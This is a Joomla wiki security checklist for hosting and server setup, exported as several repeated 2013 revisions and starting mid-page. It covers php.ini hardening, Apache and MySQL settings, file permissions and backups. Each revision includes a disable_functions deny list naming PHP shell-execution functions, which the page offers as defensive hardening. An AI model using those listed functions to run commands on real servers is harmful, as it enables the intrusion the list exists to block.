# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:36:01Z

Phild: /* Don't use PHP safe_mode */ repaired link to PHP Safe mode page

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:31:32Z

Phild: /* Don't use PHP allow_url_include but do USE allow_url_fopen */

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:30:40Z

Phild: /* Use allow_url_fopen */

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
